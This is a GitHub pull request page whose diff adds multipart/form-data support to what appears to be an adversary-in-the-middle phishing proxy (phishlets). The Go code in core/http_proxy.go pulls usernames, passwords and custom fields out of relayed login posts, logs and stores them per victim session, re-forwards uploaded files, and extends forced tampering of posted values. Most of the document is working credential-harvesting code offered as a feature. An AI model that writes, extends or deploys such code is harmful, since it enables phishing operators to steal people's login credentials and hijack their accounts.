Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Capture credentials in multipart/form-data #1152

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
+200 −45
Open

Capture credentials in multipart/form-data #1152

Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
2 commits
Select commit Hold shift + click to select a range
5f0eb69
added capture of multipart post data (`type: 'post/multipart'`)
callightmn Dec 14, 2024
a69f19b
added capability to proxy multipart file
callightmn Jan 5, 2025
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
243 changes: 199 additions & 44 deletions core/http_proxy.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -31,6 +31,9 @@ import (
"strings"
"sync"
"time"
"mime"
"mime/multipart"
"net/textproto"

"golang.org/x/net/proxy"

Expand Down Expand Up @@ -672,6 +675,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

json_re := regexp.MustCompile("application\\/\\w*\\+?json")
form_re := regexp.MustCompile("application\\/x-www-form-urlencoded")
multipart_re := regexp.MustCompile("multipart\\/form-data")

if json_re.MatchString(contentType) {

Expand Down Expand Up @@ -748,7 +752,150 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
} else if multipart_re.MatchString(contentType) {
if req.ParseMultipartForm(32 << 20) == nil && req.MultipartForm != nil && len(req.MultipartForm.Value) > 0 {
log.Debug("POST: %s", req.URL.Path)

for k, v := range req.MultipartForm.Value {
// patch phishing URLs in POST params with original domains

if pl.username.tp == "post/multipart" {
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
if pl.password.tp == "post/multipart" {
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
for _, cp := range pl.custom {
if cp.tp == "post/multipart" {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
}
}
for k, v := range req.MultipartForm.Value {
req.MultipartForm.Value[k][0] = string(p.patchUrls(pl, []byte(v[0]), CONVERT_TO_ORIGINAL_URLS))
}

// force posts
for _, fp := range pl.forcePost {
if fp.tp == "post/multipart" {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.MultipartForm.Value {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
for k, _ := range req.MultipartForm.File {
if fp_s.key.MatchString(k) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s", k_matched, k)
break
}
}
}
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}

if ok_search {
for _, fp_f := range fp.force {
req.MultipartForm.Value[fp_f.key][0] = fp_f.value
}
}
}
}
}

buf := &bytes.Buffer{}
mpw := multipart.NewWriter(buf)

_, params, err := mime.ParseMediaType(req.Header.Get("Content-Type"))
if err != nil {
log.Error("%v", err)
}

mpw.SetBoundary(params["boundary"])
for k, v := range req.MultipartForm.Value {
log.Debug("POST %s = %s", k, v[0])

w, err := mpw.CreateFormField(k)
if err != nil {
log.Error("%v", err)
}

w.Write([]byte(v[0]))
}

for k, fheaders := range req.MultipartForm.File {
for _, fheader := range fheaders {
// cannot call CreateFormFile since it defaults to application/octet-stream
h := make(textproto.MIMEHeader)
h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="%s"; filename="%s"`, k, fheader.Filename))
h.Set("Content-Type", fheader.Header["Content-Type"][0])

fw, err := mpw.CreatePart(h)
if err != nil {
log.Error("%s", err)
}

file, err := fheader.Open()
if err != nil {
log.Error("%v", err)
}

defer file.Close()
io.Copy(fw, file)
}
}

err = mpw.Close()
if err != nil {
log.Error("%v", err)
}

body = buf.Bytes()
req.ContentLength = int64(len(body))
}
} else if form_re.MatchString(contentType) {

if req.ParseForm() == nil && req.PostForm != nil && len(req.PostForm) > 0 {
Expand All @@ -757,34 +904,40 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
for k, v := range req.PostForm {
// patch phishing URLs in POST params with original domains

if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
if pl.username.tp == "post" {
if pl.username.key != nil && pl.username.search != nil && pl.username.key.MatchString(k) {
um := pl.username.search.FindStringSubmatch(v[0])
if um != nil && len(um) > 1 {
p.setSessionUsername(ps.SessionId, um[1])
log.Success("[%d] Username: [%s]", ps.Index, um[1])
if err := p.db.SetSessionUsername(ps.SessionId, um[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
if pl.password.tp == "post" {
if pl.password.key != nil && pl.password.search != nil && pl.password.key.MatchString(k) {
pm := pl.password.search.FindStringSubmatch(v[0])
if pm != nil && len(pm) > 1 {
p.setSessionPassword(ps.SessionId, pm[1])
log.Success("[%d] Password: [%s]", ps.Index, pm[1])
if err := p.db.SetSessionPassword(ps.SessionId, pm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
for _, cp := range pl.custom {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
if cp.tp == "post" {
if cp.key != nil && cp.search != nil && cp.key.MatchString(k) {
cm := cp.search.FindStringSubmatch(v[0])
if cm != nil && len(cm) > 1 {
p.setSessionCustom(ps.SessionId, cp.key_s, cm[1])
log.Success("[%d] Custom: [%s] = [%s]", ps.Index, cp.key_s, cm[1])
if err := p.db.SetSessionCustom(ps.SessionId, cp.key_s, cm[1]); err != nil {
log.Error("database: %v", err)
}
}
}
}
Expand All @@ -809,36 +962,38 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da

// force posts
for _, fp := range pl.forcePost {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
if fp.tp == "post" {
if fp.path.MatchString(req.URL.Path) {
log.Debug("force_post: url matched: %s", req.URL.Path)
ok_search := false
if len(fp.search) > 0 {
k_matched := len(fp.search)
for _, fp_s := range fp.search {
for k, v := range req.PostForm {
if fp_s.key.MatchString(k) && fp_s.search.MatchString(v[0]) {
if k_matched > 0 {
k_matched -= 1
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
log.Debug("force_post: [%d] matched - %s = %s", k_matched, k, v[0])
break
}
}
}
if k_matched == 0 {
if k_matched == 0 {
ok_search = true
}
} else {
ok_search = true
}
} else {
ok_search = true
}

if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
if ok_search {
for _, fp_f := range fp.force {
req.PostForm.Set(fp_f.key, fp_f.value)
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
body = []byte(req.PostForm.Encode())
req.ContentLength = int64(len(body))
log.Debug("force_post: body: %s len:%d", body, len(body))
}
}
}
Expand Down
2 changes: 1 addition & 1 deletion core/phishlet.go
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -699,7 +699,7 @@ func (p *Phishlet) LoadFromFile(site string, path string, customParams *map[stri
if op.Path == nil || *op.Path == "" {
return fmt.Errorf("force_post: missing or empty `path` field")
}
if op.Type == nil || *op.Type != "post" {
if op.Type == nil || (*op.Type != "post" && *op.Type != "post/multipart") {
return fmt.Errorf("force_post: unknown type - only 'post' is currently supported")
}
if op.Force == nil || len(*op.Force) == 0 {
Expand Down